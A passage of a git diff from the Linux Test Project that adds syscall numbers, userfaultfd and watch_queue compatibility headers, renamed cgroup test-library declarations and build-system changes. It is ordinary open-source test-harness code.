d3995181..1f2fc59b 100755 --- a/include/lapi/syscalls/sparc64.in +++ b/include/lapi/syscalls/sparc64.in @@ -371,5 +371,7 @@ pidfd_open 434 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 diff --git a/include/lapi/syscalls/x86_64.in b/include/lapi/syscalls/x86_64.in index a5b2a24f..dc61aa56 100755 --- a/include/lapi/syscalls/x86_64.in +++ b/include/lapi/syscalls/x86_64.in @@ -348,8 +348,10 @@ clone3 435 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 rt_sigaction 512 rt_sigreturn 513 ioctl 514 diff --git a/include/lapi/timerfd.h b/include/lapi/timerfd.h index 14f8405a..2613746c 100755 --- a/include/lapi/timerfd.h +++ b/include/lapi/timerfd.h @@ -18,7 +18,7 @@ #if !defined(HAVE_TIMERFD_CREATE) static inline int timerfd_create(int clockid, int flags) { - return ltp_syscall(__NR_timerfd_create, clockid, flags); + return tst_syscall(__NR_timerfd_create, clockid, flags); } #endif @@ -27,7 +27,7 @@ static inline int timerfd_settime(int fd, int flags, const struct itimerspec *new_value, struct itimerspec *old_value) { - return ltp_syscall(__NR_timerfd_settime, fd, flags, new_value, + return tst_syscall(__NR_timerfd_settime, fd, flags, new_value, old_value); } #endif @@ -35,7 +35,7 @@ static inline int timerfd_settime(int fd, int flags, #if !defined(HAVE_TIMERFD_SETTIME) static inline int timerfd_gettime(int fd, struct itimerspec *curr_value) { - return ltp_syscall(__NR_timerfd_gettime, fd, curr_value); + return tst_syscall(__NR_timerfd_gettime, fd, curr_value); } #endif diff --git a/include/lapi/userfaultfd.h b/include/lapi/userfaultfd.h new file mode 100644 index 00000000..4d52b7c4 --- /dev/null +++ b/include/lapi/userfaultfd.h @@ -0,0 +1,190 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2007 Davide Libenzi + * Copyright (C) 2015,2022 Red Hat, Inc. + * + * Mostly copied/adapted from + */ + +#ifndef LAPI_USERFAULTFD_H__ +#define LAPI_USERFAULTFD_H__ + +#include +#include +#include "lapi/syscalls.h" + +#ifdef HAVE_LINUX_USERFAULTFD_H +#include +#endif + +/* userfaultfd support was added in v4.1 */ +#ifndef UFFD_API +#define UFFD_API ((__u64)0xAA) + +/* + * Valid ioctl command number range with this API is from 0x00 to + * 0x3F. UFFDIO_API is the fixed number, everything else can be + * changed by implementing a different UFFD_API. If sticking to the + * same UFFD_API more ioctl can be added and userland will be aware of + * which ioctl the running kernel implements through the ioctl command + * bitmask written by the UFFDIO_API. + */ +#define _UFFDIO_REGISTER (0x00) +#define _UFFDIO_UNREGISTER (0x01) +#define _UFFDIO_WAKE (0x02) +#define _UFFDIO_COPY (0x03) +#define _UFFDIO_ZEROPAGE (0x04) +#define _UFFDIO_API (0x3F) + +/* userfaultfd ioctl ids */ +#define UFFDIO 0xAA +#define UFFDIO_API _IOWR(UFFDIO, _UFFDIO_API, \ + struct uffdio_api) +#define UFFDIO_REGISTER _IOWR(UFFDIO, _UFFDIO_REGISTER, \ + struct uffdio_register) +#define UFFDIO_UNREGISTER _IOR(UFFDIO, _UFFDIO_UNREGISTER, \ + struct uffdio_range) +#define UFFDIO_WAKE _IOR(UFFDIO, _UFFDIO_WAKE, \ + struct uffdio_range) +#define UFFDIO_COPY _IOWR(UFFDIO, _UFFDIO_COPY, \ + struct uffdio_copy) +#define UFFDIO_ZEROPAGE _IOWR(UFFDIO, _UFFDIO_ZEROPAGE, \ + struct uffdio_zeropage) + +/* read() structure */ +struct uffd_msg { + __u8 event; + + __u8 reserved1; + __u16 reserved2; + __u32 reserved3; + + union { + struct { + __u64 flags; + __u64 address; + } pagefault; + + struct { + /* unused reserved fields */ + __u64 reserved1; + __u64 reserved2; + __u64 reserved3; + } reserved; + } arg; +} __packed; + +/* + * Start at 0x12 and not at 0 to be more strict against bugs. + */ +#define UFFD_EVENT_PAGEFAULT 0x12 + +/* flags for UFFD_EVENT_PAGEFAULT */ +#define UFFD_PAGEFAULT_FLAG_WRITE (1<<0) /* If this was a write fault */ +#define UFFD_PAGEFAULT_FLAG_WP (1<<1) /* If reason is VM_UFFD_WP */ + +struct uffdio_api { + /* userland asks for an API number and the features to enable */ + __u64 api; + /* + * Kernel answers below with the all available features for + * the API, this notifies userland of which events and/or + * which flags for each event are enabled in the current + * kernel. + * + * Note: UFFD_EVENT_PAGEFAULT and UFFD_PAGEFAULT_FLAG_WRITE + * are to be considered implicitly always enabled in all kernels as + * long as the uffdio_api.api requested matches UFFD_API. + */ + __u64 features; + + __u64 ioctls; +}; + +struct uffdio_range { + __u64 start; + __u64 len; +}; + +struct uffdio_register { + struct uffdio_range range; +#define UFFDIO_REGISTER_MODE_MISSING ((__u64)1<<0) +#define UFFDIO_REGISTER_MODE_WP ((__u64)1<<1) + __u64 mode; + + /* + * kernel answers which ioctl commands are available for the + * range, keep at the end as the last 8 bytes aren't read. + */ + __u64 ioctls; +}; + +struct uffdio_copy { + __u64 dst; + __u64 src; + __u64 len; + /* + * There will be a wrprotection flag later that allows to map + * pages wrprotected on the fly. And such a flag will be + * available if the wrprotection ioctl are implemented for the + * range according to the uffdio_register.ioctls. + */ +#define UFFDIO_COPY_MODE_DONTWAKE ((__u64)1<<0) + __u64 mode; + + /* + * "copy" is written by the ioctl and must be at the end: the + * copy_from_user will not read the last 8 bytes. + */ + __s64 copy; +}; + +struct uffdio_zeropage { + struct uffdio_range range; +#define UFFDIO_ZEROPAGE_MODE_DONTWAKE ((__u64)1<<0) + __u64 mode; + + /* + * "zeropage" is written by the ioctl and must be at the end: + * the copy_from_user will not read the last 8 bytes. + */ + __s64 zeropage; +}; +#endif /* UFFD_API */ + + +/* UFFD_USER_MODE_ONLY was added in v5.11 */ +#ifndef UFFD_USER_MODE_ONLY +#define UFFD_USER_MODE_ONLY 1 +#endif /* UFFD_USER_MODE_ONLY */ + + +/* UFFD_PAGEFAULT_FLAG_MINOR and UFFDIO_CONTINUE were added in v5.13 */ +#ifndef UFFD_PAGEFAULT_FLAG_MINOR +#define UFFD_FEATURE_MINOR_HUGETLBFS (1<<9) +#define UFFDIO_REGISTER_MODE_MINOR ((__u64)1<<2) + +#define _UFFDIO_CONTINUE (0x07) +#define UFFDIO_CONTINUE _IOWR(UFFDIO, _UFFDIO_CONTINUE, \ + struct uffdio_continue) + +struct uffdio_continue { + struct uffdio_range range; +#define UFFDIO_CONTINUE_MODE_DONTWAKE ((__u64)1<<0) + __u64 mode; + + /* + * Fields below here are written by the ioctl and must be at the end: + * the copy_from_user will not read past here. + */ + __s64 mapped; +}; +#endif /* UFFD_PAGEFAULT_FLAG_MINOR */ + + +/* UFFD_FEATURE_MINOR_SHMEM was added in v5.14 */ +#ifndef UFFD_FEATURE_MINOR_SHMEM +#define UFFD_FEATURE_MINOR_SHMEM (1<<10) +#endif /* UFFD_FEATURE_MINOR_SHMEM */ + +#endif /* LAPI_USERFAULTFD_H__ */ diff --git a/include/lapi/watch_queue.h b/include/lapi/watch_queue.h new file mode 100644 index 00000000..438e6223 --- /dev/null +++ b/include/lapi/watch_queue.h @@ -0,0 +1,112 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + * + * This file is created to resolve conflicts between user space and kernel + * space fctnl.h declaration. linux/watch_queue.h is not handled, since + * user space fcntl.h redefines kernel space structures. + */ + +#ifndef LAPI_WATCH_QUEUE_H__ +#define LAPI_WATCH_QUEUE_H__ + +#include +#include "lapi/ioctl.h" +#include "lapi/fcntl.h" + +#define O_NOTIFICATION_PIPE O_EXCL /* Parameter to pipe2() selecting notification pipe */ + +#define IOC_WATCH_QUEUE_SET_SIZE _IO('W', 0x60) /* Set the size in pages */ +#define IOC_WATCH_QUEUE_SET_FILTER _IO('W', 0x61) /* Set the filter */ + +enum watch_notification_type { + WATCH_TYPE_META = 0, /* Special record */ + WATCH_TYPE_KEY_NOTIFY = 1, /* Key change event notification */ + WATCH_TYPE__NR = 2 +}; + +enum watch_meta_notification_subtype { + WATCH_META_REMOVAL_NOTIFICATION = 0, /* Watched object was removed */ + WATCH_META_LOSS_NOTIFICATION = 1, /* Data loss occurred */ +}; + +/* + * Notification record header. This is aligned to 64-bits so that subclasses + * can contain __u64 fields. + */ +struct watch_notification { + uint32_t type:24; /* enum watch_notification_type */ + uint32_t subtype:8; /* Type-specific subtype (filterable) */ + uint32_t info; +#define WATCH_INFO_LENGTH 0x0000007f /* Length of record */ +#define WATCH_INFO_LENGTH__SHIFT 0 +#define WATCH_INFO_ID 0x0000ff00 /* ID of watchpoint */ +#define WATCH_INFO_ID__SHIFT 8 +#define WATCH_INFO_TYPE_INFO 0xffff0000 /* Type-specific info */ +#define WATCH_INFO_TYPE_INFO__SHIFT 16 +#define WATCH_INFO_FLAG_0 0x00010000 /* Type-specific info, flag bit 0 */ +#define WATCH_INFO_FLAG_1 0x00020000 /* ... */ +#define WATCH_INFO_FLAG_2 0x00040000 +#define WATCH_INFO_FLAG_3 0x00080000 +#define WATCH_INFO_FLAG_4 0x00100000 +#define WATCH_INFO_FLAG_5 0x00200000 +#define WATCH_INFO_FLAG_6 0x00400000 +#define WATCH_INFO_FLAG_7 0x00800000 +}; + +/* + * Notification filtering rules (IOC_WATCH_QUEUE_SET_FILTER). + */ +struct watch_notification_type_filter { + uint32_t type; /* Type to apply filter to */ + uint32_t info_filter; /* Filter on watch_notification::info */ + uint32_t info_mask; /* Mask of relevant bits in info_filter */ + uint32_t subtype_filter[8]; /* Bitmask of subtypes to filter on */ +}; + +struct watch_notification_filter { + uint32_t nr_filters; /* Number of filters */ + uint32_t __reserved; /* Must be 0 */ + struct watch_notification_type_filter filters[]; +}; + + +/* + * Extended watch removal notification. This is used optionally if the type + * wants to indicate an identifier for the object being watched, if there is + * such. This can be distinguished by the length. + * + * type -> WATCH_TYPE_META + * subtype -> WATCH_META_REMOVAL_NOTIFICATION + */ +struct watch_notification_removal { + struct watch_notification watch; + uint64_t id; /* Type-dependent identifier */ +}; + +/* + * Type of key/keyring change notification. + */ +enum key_notification_subtype { + NOTIFY_KEY_INSTANTIATED = 0, /* Key was instantiated (aux is error code) */ + NOTIFY_KEY_UPDATED = 1, /* Key was updated */ + NOTIFY_KEY_LINKED = 2, /* Key (aux) was added to watched keyring */ + NOTIFY_KEY_UNLINKED = 3, /* Key (aux) was removed from watched keyring */ + NOTIFY_KEY_CLEARED = 4, /* Keyring was cleared */ + NOTIFY_KEY_REVOKED = 5, /* Key was revoked */ + NOTIFY_KEY_INVALIDATED = 6, /* Key was invalidated */ + NOTIFY_KEY_SETATTR = 7, /* Key's attributes got changed */ +}; + +/* + * Key/keyring notification record. + * - watch.type = WATCH_TYPE_KEY_NOTIFY + * - watch.subtype = enum key_notification_type + */ +struct key_notification { + struct watch_notification watch; + uint32_t key_id; /* The key/keyring affected */ + uint32_t aux; /* Per-type auxiliary data */ +}; + +#endif /* LAPI_WATCH_QUEUE_H__ */ diff --git a/include/libnewipc.h b/include/libnewipc.h index 9eec3176..969c9329 100755 --- a/include/libnewipc.h +++ b/include/libnewipc.h @@ -31,7 +31,6 @@ #define MSGSIZE 1024 #define MSGTYPE 1 #define NR_MSGQUEUES 16 -#define min(a, b) (((a) < (b)) ? (a) : (b)) #define SEM_RD 0400 #define SEM_ALT 0200 @@ -54,6 +53,8 @@ int get_used_sysvipc(const char *file, const int lineno, const char *sysvipc_fil get_used_sysvipc(__FILE__, __LINE__, "/proc/sysvipc/msg") #define GET_USED_SEGMENTS() \ get_used_sysvipc(__FILE__, __LINE__, "/proc/sysvipc/shm") +#define GET_USED_ARRAYS() \ + get_used_sysvipc(__FILE__, __LINE__, "/proc/sysvipc/sem") void *probe_free_addr(const char *file, const int lineno); #define PROBE_FREE_ADDR() \ diff --git a/include/mk/automake.mk b/include/mk/automake.mk index 219d015d..3ecdd314 100755 --- a/include/mk/automake.mk +++ b/include/mk/automake.mk @@ -27,7 +27,8 @@ AUTOHEADER ?= autoheader AUTOMAKE ?= automake AUTOCONFED_SUBDIRS = \ - testcases/realtime + testcases/realtime \ + testcases/open_posix_testsuite # We want to run this every single time to ensure that all of the prereq files # are there. @@ -35,6 +36,10 @@ AUTOCONFED_SUBDIRS = \ testcases/realtime/configure: $(MAKE) -C $(@D) autotools +.PHONY: testcases/open_posix_testsuite/configure +testcases/open_posix_testsuite/configure: + $(MAKE) -C $(@D) autotools + .PHONY: autotools autotools: aclocal autoconf autoheader automake $(addsuffix /configure,$(AUTOCONFED_SUBDIRS)) @@ -94,8 +99,7 @@ AUTOGENERATED_FILES = \ include/mk/config.mk \ include/mk/features.mk \ lib/ltp.pc \ - m4/Makefile \ - execltp + m4/Makefile distclean:: %: clean ac-distclean for d in $(AUTOCONFED_SUBDIRS); do \ diff --git a/include/mk/config.mk.in b/include/mk/config.mk.in index 218447ef..22301e12 100755 --- a/include/mk/config.mk.in +++ b/include/mk/config.mk.in @@ -80,8 +80,12 @@ OPT_CFLAGS ?= -O2 -fno-strict-aliasing -pipe WCFLAGS ?= -Wall -W @GCC_WARN_OLDSTYLE@ +STDCFLAGS ?= -std=gnu99 + LDFLAGS += $(WLDFLAGS) -CFLAGS += $(DEBUG_CFLAGS) $(OPT_CFLAGS) $(WCFLAGS) +CFLAGS += $(DEBUG_CFLAGS) $(OPT_CFLAGS) $(WCFLAGS) $(STDCFLAGS) + +LTP_CFLAGS_NOPIE := @LTP_CFLAGS_NOPIE@ ifeq ($(strip $(HOST_CFLAGS)),) HOST_CFLAGS := $(CFLAGS) diff --git a/include/mk/env_post.mk b/include/mk/env_post.mk index ec045c40..a00f31b0 100755 --- a/include/mk/env_post.mk +++ b/include/mk/env_post.mk @@ -32,6 +32,7 @@ ENV_POST_LOADED = 1 # poor software design if you need more than one search directory, and # would suggest creating a general purpose static library to that end. vpath %.c $(abs_srcdir) +vpath %.S $(abs_srcdir) # For config.h, et all. CPPFLAGS += -I$(top_srcdir)/include -I$(top_builddir)/include -I$(top_srcdir)/include/old/ @@ -91,6 +92,7 @@ endif CHECK_TARGETS ?= $(addprefix check-,$(notdir $(patsubst %.c,%,$(sort $(wildcard $(abs_srcdir)/*.c))))) CHECK_TARGETS := $(filter-out $(addprefix check-, $(FILTER_OUT_MAKE_TARGETS)), $(CHECK_TARGETS)) +CHECK_HEADER_TARGETS ?= $(addprefix check-,$(notdir $(sort $(wildcard $(abs_srcdir)/*.h)))) CHECK ?= $(abs_top_srcdir)/tools/sparse/sparse-ltp CHECK_NOFLAGS ?= $(abs_top_srcdir)/scripts/checkpatch.pl -f --no-tree --terse --no-summary --ignore CONST_STRUCT,VOLATILE,SPLIT_STRING SHELL_CHECK ?= $(abs_top_srcdir)/scripts/checkbashisms.pl --force --extra diff --git a/include/mk/features.mk.in b/include/mk/features.mk.in index ecb15a0f..802ee0ba 100755 --- a/include/mk/features.mk.in +++ b/include/mk/features.mk.in @@ -52,3 +52,6 @@ WITH_REALTIME_TESTSUITE := no else WITH_REALTIME_TESTSUITE := @WITH_REALTIME_TESTSUITE@ endif + +# Enable testcases/kernel/kvm compile and install? +WITH_KVM_TESTSUITE := @WITH_KVM_TESTSUITE@ diff --git a/include/mk/generic_leaf_target.inc b/include/mk/generic_leaf_target.inc index 33e9c9ea..565a282b 100755 --- a/include/mk/generic_leaf_target.inc +++ b/include/mk/generic_leaf_target.inc @@ -110,6 +110,6 @@ $(INSTALL_FILES): | $(INSTALL_DEPS) install: $(INSTALL_FILES) $(CHECK_TARGETS): | $(CHECK_DEPS) -check: $(CHECK_TARGETS) $(SHELL_CHECK_TARGETS) +check: $(CHECK_HEADER_TARGETS) $(CHECK_TARGETS) $(SHELL_CHECK_TARGETS) # vim: syntax=make diff --git a/include/mk/rules.mk b/include/mk/rules.mk index a60e6705..517863c0 100755 --- a/include/mk/rules.mk +++ b/include/mk/rules.mk @@ -1,5 +1,13 @@ target_rel_dir := $(if $(cwd_rel_from_top),$(cwd_rel_from_top)/,) +%.o: %.S +ifdef VERBOSE + $(AS) $(ASFLAGS) -c -o $@ $< +else + @$(AS) $(ASFLAGS) -c -o $@ $< + @echo AS $(target_rel_dir)$@ +endif + %.o: %.c ifdef VERBOSE $(CC) $(CPPFLAGS) $(CFLAGS) -c -o $@ $< @@ -49,6 +57,15 @@ else @-$(CHECK) $(CHECK_FLAGS) $(CPPFLAGS) $(CFLAGS) $< endif +.PHONY: $(CHECK_HEADER_TARGETS) +$(CHECK_HEADER_TARGETS): check-%.h: %.h +ifdef VERBOSE + -$(CHECK_NOFLAGS) $< +else + @echo CHECK $(target_rel_dir)$< + @-$(CHECK_NOFLAGS) $< +endif + .PHONY: $(SHELL_CHECK_TARGETS) $(SHELL_CHECK_TARGETS): check-%.sh: %.sh ifdef VERBOSE diff --git a/include/old/old_tmpdir.h b/include/old/old_tmpdir.h index 9c61172f..3e33bf04 100755 --- a/include/old/old_tmpdir.h +++ b/include/old/old_tmpdir.h @@ -45,6 +45,11 @@ void tst_rmdir(void); */ char *tst_get_tmpdir(void); +/* + * Returns path to the test temporary directory root (TMPDIR). + */ +const char *tst_get_tmpdir_root(void); + /* * Returns 1 if temp directory was created. */ diff --git a/include/old/test.h b/include/old/test.h index 2ae7dba7..834e92d9 100755 --- a/include/old/test.h +++ b/include/old/test.h @@ -193,7 +193,8 @@ int self_exec(const char *argv0, const char *fmt, ...); * @dev: path to a device * @fs_type: filesystem type * @fs_opts: NULL or NULL terminated array of mkfs options - * @extra_opt: extra mkfs option which is passed after the device name + * @extra_opts: NULL or NULL terminated array of extra mkfs options which are + * passed after the device name. */ #define tst_mkfs(cleanup, dev, fs_type, fs_opts, extra_opts) \ tst_mkfs_(__FILE__, __LINE__, cleanup, dev, fs_type, \ diff --git a/include/safe_macros_fn.h b/include/safe_macros_fn.h index 3df95281..d256091b 100755 --- a/include/safe_macros_fn.h +++ b/include/safe_macros_fn.h @@ -24,6 +24,18 @@ #include #include +/* supported values for safe_write() len_strict parameter */ +enum safe_write_opts { + /* no length strictness, short writes are ok */ + SAFE_WRITE_ANY = 0, + + /* strict length, short writes raise TBROK */ + SAFE_WRITE_ALL = 1, + + /* retry/resume after short write */ + SAFE_WRITE_RETRY = 2, +}; + char* safe_basename(const char *file, const int lineno, void (*cleanup_fn)(void), char *path); @@ -111,8 +123,8 @@ int safe_symlink(const char *file, const int lineno, const char *newpath); ssize_t safe_write(const char *file, const int lineno, - void (cleanup_fn)(void), char len_strict, int fildes, - const void *buf, size_t nbyte); + void (cleanup_fn)(void), enum safe_write_opts len_strict, + int fildes, const void *buf, size_t nbyte); long safe_strtol(const char *file, const int lineno, void (cleanup_fn)(void), char *str, long min, long max); @@ -121,6 +133,9 @@ unsigned long safe_strtoul(const char *file, const int lineno, void (cleanup_fn)(void), char *str, unsigned long min, unsigned long max); +float safe_strtof(const char *file, const int lineno, + void (cleanup_fn)(void), char *str, float min, float max); + long safe_sysconf(const char *file, const int lineno, void (cleanup_fn)(void), int name); diff --git a/include/safe_net_fn.h b/include/safe_net_fn.h index ff81b133..6c63cb2c 100755 --- a/include/safe_net_fn.h +++ b/include/safe_net_fn.h @@ -73,6 +73,9 @@ int safe_getsockname(const char *file, const int lineno, int safe_gethostname(const char *file, const int lineno, char *name, size_t size); +int safe_sethostname(const char *file, const int lineno, + const char *name, size_t size); + int tst_getsockport(const char *file, const int lineno, int sockfd); unsigned short tst_get_unused_port(const char *file, const int lineno, diff --git a/include/tst_buffers.h b/include/tst_buffers.h index d19ac8cf..b5f355f0 100755 --- a/include/tst_buffers.h +++ b/include/tst_buffers.h @@ -25,6 +25,11 @@ struct tst_buffers { * Array of iov buffer sizes terminated by -1. */ int *iov_sizes; + /* + * If size and iov_sizes is NULL this is the string we want to strdup() + * into the buffer. + */ + char *str; }; /* @@ -46,6 +51,12 @@ char *tst_strdup(const char *str); */ void *tst_alloc(size_t size); +/* + * Printf into a guarded buffer. + */ +char *tst_aprintf(const char *fmt, ...) + __attribute__((format (printf, 1, 2))); + /* * Allocates iovec structure including the buffers. * diff --git a/include/tst_cgroup.h b/include/tst_cgroup.h index 5190d879..be14d07c 100755 --- a/include/tst_cgroup.h +++ b/include/tst_cgroup.h @@ -84,132 +84,174 @@ #include /* CGroups Kernel API version */ -enum tst_cgroup_ver { - TST_CGROUP_V1 = 1, - TST_CGROUP_V2 = 2, +enum tst_cg_ver { + TST_CG_V1 = 1, + TST_CG_V2 = 2, }; +/* This value is greater than ROOTS_MAX in tst_cgroup.c. */ +#define TST_CG_ROOTS_MAX 32 + /* Used to specify CGroup hierarchy configuration options, allowing a * test to request a particular CGroup structure. */ -struct tst_cgroup_opts { - /* Only try to mount V1 CGroup controllers. This will not - * prevent V2 from being used if it is already mounted, it - * only indicates that we should mount V1 controllers if - * nothing is present. By default we try to mount V2 first. */ - int only_mount_v1:1; +struct tst_cg_opts { + /* Call tst_brk with TCONF if the controller is not on this + * version. Defautls to zero to accept any version. + */ + enum tst_cg_ver needs_ver; + /* Pass in a specific pid to create and identify the test + * directory as opposed to the default pid of the calling process. + */ + int test_pid; }; /* A Control Group in LTP's aggregated hierarchy */ -struct tst_cgroup_group; +struct tst_cg_group; + +/* Populated with a reference to this tests's CGroup */ +extern const struct tst_cg_group *const tst_cg; +extern const struct tst_cg_group *const tst_cg_drain; /* Search the system for mounted cgroups and available - * controllers. Called automatically by tst_cgroup_require. + * controllers. Called automatically by tst_cg_require. + */ +void tst_cg_scan(void); +/* Print the config detected by tst_cg_scan and print the internal + * state associated with each controller. Output can be passed to + * tst_cg_load_config to configure the internal state to that of the + * config between program invocations. + */ +void tst_cg_print_config(void); + +/* Load the config printed out by tst_cg_print_config and configure the internal + * libary state to match the config. Used to allow tst_cg_cleanup to properly + * cleanup mounts and directories created by tst_cg_require between program + * invocations. */ -void tst_cgroup_scan(void); -/* Print the config detected by tst_cgroup_scan */ -void tst_cgroup_print_config(void); +void tst_cg_load_config(const char *const config); /* Ensure the specified controller is available in the test's default - * CGroup, mounting/enabling it if necessary */ -void tst_cgroup_require(const char *const ctrl_name, - const struct tst_cgroup_opts *const options) - __attribute__ ((nonnull (1))); + * CGroup, mounting/enabling it if necessary. Usually this is not + * necessary use tst_test.needs_cgroup_ctrls instead. + */ +void tst_cg_require(const char *const ctrl_name, + const struct tst_cg_opts *const options) + __attribute__ ((nonnull)); -/* Tear down any CGroups created by calls to tst_cgroup_require */ -void tst_cgroup_cleanup(void); +/* Tear down any CGroups created by calls to tst_cg_require */ +void tst_cg_cleanup(void); -/* Get the default CGroup for the test. It allocates memory (in a - * guarded buffer) so should always be called from setup +/* Call this in setup after you call tst_cg_require and want to + * initialize tst_cg and tst_cg_drain. See tst_cg_require. */ -const struct tst_cgroup_group *tst_cgroup_get_test_group(void) - __attribute__ ((warn_unused_result)); -/* Get the shared drain group. Also should be called from setup */ -const struct tst_cgroup_group *tst_cgroup_get_drain_group(void) - __attribute__ ((warn_unused_result)); +void tst_cg_init(void); /* Create a descendant CGroup */ -struct tst_cgroup_group * -tst_cgroup_group_mk(const struct tst_cgroup_group *const parent, - const char *const group_name) - __attribute__ ((nonnull, warn_unused_result)); +struct tst_cg_group * +tst_cg_group_mk(const struct tst_cg_group *const parent, + const char *const group_name_fmt, ...) + __attribute__ ((nonnull, warn_unused_result, format (printf, 2, 3))); + const char * -tst_cgroup_group_name(const struct tst_cgroup_group *const cg) +tst_cg_group_name(const struct tst_cg_group *const cg) + __attribute__ ((nonnull, warn_unused_result)); + +/* This call returns a fd pointing to a v2 directory */ +int tst_cg_group_unified_dir_fd(const struct tst_cg_group *const cg) __attribute__ ((nonnull, warn_unused_result)); /* Remove a descendant CGroup */ -struct tst_cgroup_group * -tst_cgroup_group_rm(struct tst_cgroup_group *const cg) +struct tst_cg_group * +tst_cg_group_rm(struct tst_cg_group *const cg) __attribute__ ((nonnull, warn_unused_result)); -#define TST_CGROUP_VER(cg, ctrl_name) \ - tst_cgroup_ver(__FILE__, __LINE__, (cg), (ctrl_name)) +#define TST_CG_VER(cg, ctrl_name) \ + tst_cg_ver(__FILE__, __LINE__, (cg), (ctrl_name)) -enum tst_cgroup_ver tst_cgroup_ver(const char *const file, const int lineno, - const struct tst_cgroup_group *const cg, +enum tst_cg_ver tst_cg_ver(const char *const file, const int lineno, + const struct tst_cg_group *const cg, const char *const ctrl_name) __attribute__ ((nonnull, warn_unused_result)); -#define TST_CGROUP_VER_IS_V1(cg, ctrl_name) \ - (TST_CGROUP_VER((cg), (ctrl_name)) == TST_CGROUP_V1) +#define TST_CG_VER_IS_V1(cg, ctrl_name) \ + (TST_CG_VER((cg), (ctrl_name)) == TST_CG_V1) -#define SAFE_CGROUP_HAS(cg, file_name) \ - safe_cgroup_has(__FILE__, __LINE__, (cg), (file_name)) +#define SAFE_CG_HAS(cg, file_name) \ + safe_cg_has(__FILE__, __LINE__, (cg), (file_name)) -int safe_cgroup_has(const char *const file, const int lineno, - const struct tst_cgroup_group *const cg, +int safe_cg_has(const char *const file, const int lineno, + const struct tst_cg_group *const cg, const char *const file_name) __attribute__ ((nonnull, warn_unused_result)); -#define SAFE_CGROUP_READ(cg, file_name, out, len) \ - safe_cgroup_read(__FILE__, __LINE__, \ +#define SAFE_CG_READ(cg, file_name, out, len) \ + safe_cg_read(__FILE__, __LINE__, \ (cg), (file_name), (out), (len)) -ssize_t safe_cgroup_read(const char *const file, const int lineno, - const struct tst_cgroup_group *const cg, +ssize_t safe_cg_read(const char *const file, const int lineno, + const struct tst_cg_group *const cg, const char *const file_name, char *const out, const size_t len) __attribute__ ((nonnull)); -#define SAFE_CGROUP_PRINTF(cg, file_name, fmt, ...) \ - safe_cgroup_printf(__FILE__, __LINE__, \ +#define SAFE_CG_PRINTF(cg, file_name, fmt, ...) \ + safe_cg_printf(__FILE__, __LINE__, \ (cg), (file_name), (fmt), __VA_ARGS__) -#define SAFE_CGROUP_PRINT(cg, file_name, str) \ - safe_cgroup_printf(__FILE__, __LINE__, (cg), (file_name), "%s", (str)) +#define SAFE_CG_PRINT(cg, file_name, str) \ + safe_cg_printf(__FILE__, __LINE__, (cg), (file_name), "%s", (str)) -void safe_cgroup_printf(const char *const file, const int lineno, - const struct tst_cgroup_group *const cg, +void safe_cg_printf(const char *const file, const int lineno, + const struct tst_cg_group *const cg, const char *const file_name, const char *const fmt, ...) __attribute__ ((format (printf, 5, 6), nonnull)); -#define SAFE_CGROUP_SCANF(cg, file_name, fmt, ...) \ - safe_cgroup_scanf(__FILE__, __LINE__, \ +#define SAFE_CG_OPEN(cg, file_name, flags, fds) \ + safe_cg_open(__FILE__, __LINE__, (cg), (file_name), (flags), (fds)) + +int safe_cg_open(const char *const file, const int lineno, + const struct tst_cg_group *const cg, + const char *const file_name, + int flags, int *fds) + __attribute__ ((nonnull)); + +#define SAFE_CG_FCHOWN(cg, file_name, owner, group) \ + safe_cg_fchown(__FILE__, __LINE__, (cg), (file_name), (owner), (group)) + +void safe_cg_fchown(const char *const file, const int lineno, + const struct tst_cg_group *const cg, + const char *const file_name, + uid_t owner, gid_t group) + __attribute__ ((nonnull)); + +#define SAFE_CG_SCANF(cg, file_name, fmt, ...) \ + safe_cg_scanf(__FILE__, __LINE__, \ (cg), (file_name), (fmt), __VA_ARGS__) -void safe_cgroup_scanf(const char *file, const int lineno, - const struct tst_cgroup_group *const cg, +void safe_cg_scanf(const char *file, const int lineno, + const struct tst_cg_group *const cg, const char *const file_name, const char *const fmt, ...) __attribute__ ((format (scanf, 5, 6), nonnull)); -#define SAFE_CGROUP_LINES_SCANF(cg, file_name, fmt, ...) \ - safe_cgroup_lines_scanf(__FILE__, __LINE__, \ +#define SAFE_CG_LINES_SCANF(cg, file_name, fmt, ...) \ + safe_cg_lines_scanf(__FILE__, __LINE__, \ (cg), (file_name), (fmt), __VA_ARGS__) -void safe_cgroup_lines_scanf(const char *const file, const int lineno, - const struct tst_cgroup_group *const cg, +void safe_cg_lines_scanf(const char *const file, const int lineno, + const struct tst_cg_group *const cg, const char *const file_name, const char *const fmt, ...) __attribute__ ((format (scanf, 5, 6), nonnull)); -#define SAFE_CGROUP_OCCURSIN(cg, file_name, needle) \ - safe_cgroup_occursin(__FILE__, __LINE__, \ +#define SAFE_CG_OCCURSIN(cg, file_name, needle) \ + safe_cg_occursin(__FILE__, __LINE__, \ (cg), (file_name), (needle)) -int safe_cgroup_occursin(const char *file, const int lineno, - const struct tst_cgroup_group *const cg, +int safe_cg_occursin(const char *file, const int lineno, + const struct tst_cg_group *const cg, const char *const file_name, const char *const needle); diff --git a/include/tst_checkpoint_fn.h b/include/tst_checkpoint_fn.h index 57db905c..3a010d61 100755 --- a/include/tst_checkpoint_fn.h +++ b/include/tst_checkpoint_fn.h @@ -16,7 +16,7 @@ void tst_checkpoint_init(const char *file, const int lineno, /* * Waits for wakeup. * - * @id: Checkpoint id, possitive number + * @id: Checkpoint id, positive number * @msec_timeout: Timeout in milliseconds, 0 == no timeout */ int tst_checkpoint_wait(unsigned int id, unsigned int msec_timeout); @@ -24,7 +24,7 @@ int tst_checkpoint_wait(unsigned int id, unsigned int msec_timeout); /* * Wakes up sleeping process(es)/thread(s). * - * @id: Checkpoint id, possitive number + * @id: Checkpoint id, positive number * @nr_wake: Number of processes/threads to wake up * @msec_timeout: Timeout in milliseconds, 0 == no timeout */ diff --git a/include/tst_clone.h b/include/tst_clone.h index 9ffdc68d..7b278dfa 100755 --- a/include/tst_clone.h +++ b/include/tst_clone.h @@ -11,6 +11,7 @@ struct tst_clone_args { uint64_t flags; uint64_t exit_signal; + uint64_t cgroup; }; /* clone3 with fallbacks to clone when possible. Be aware that it diff --git 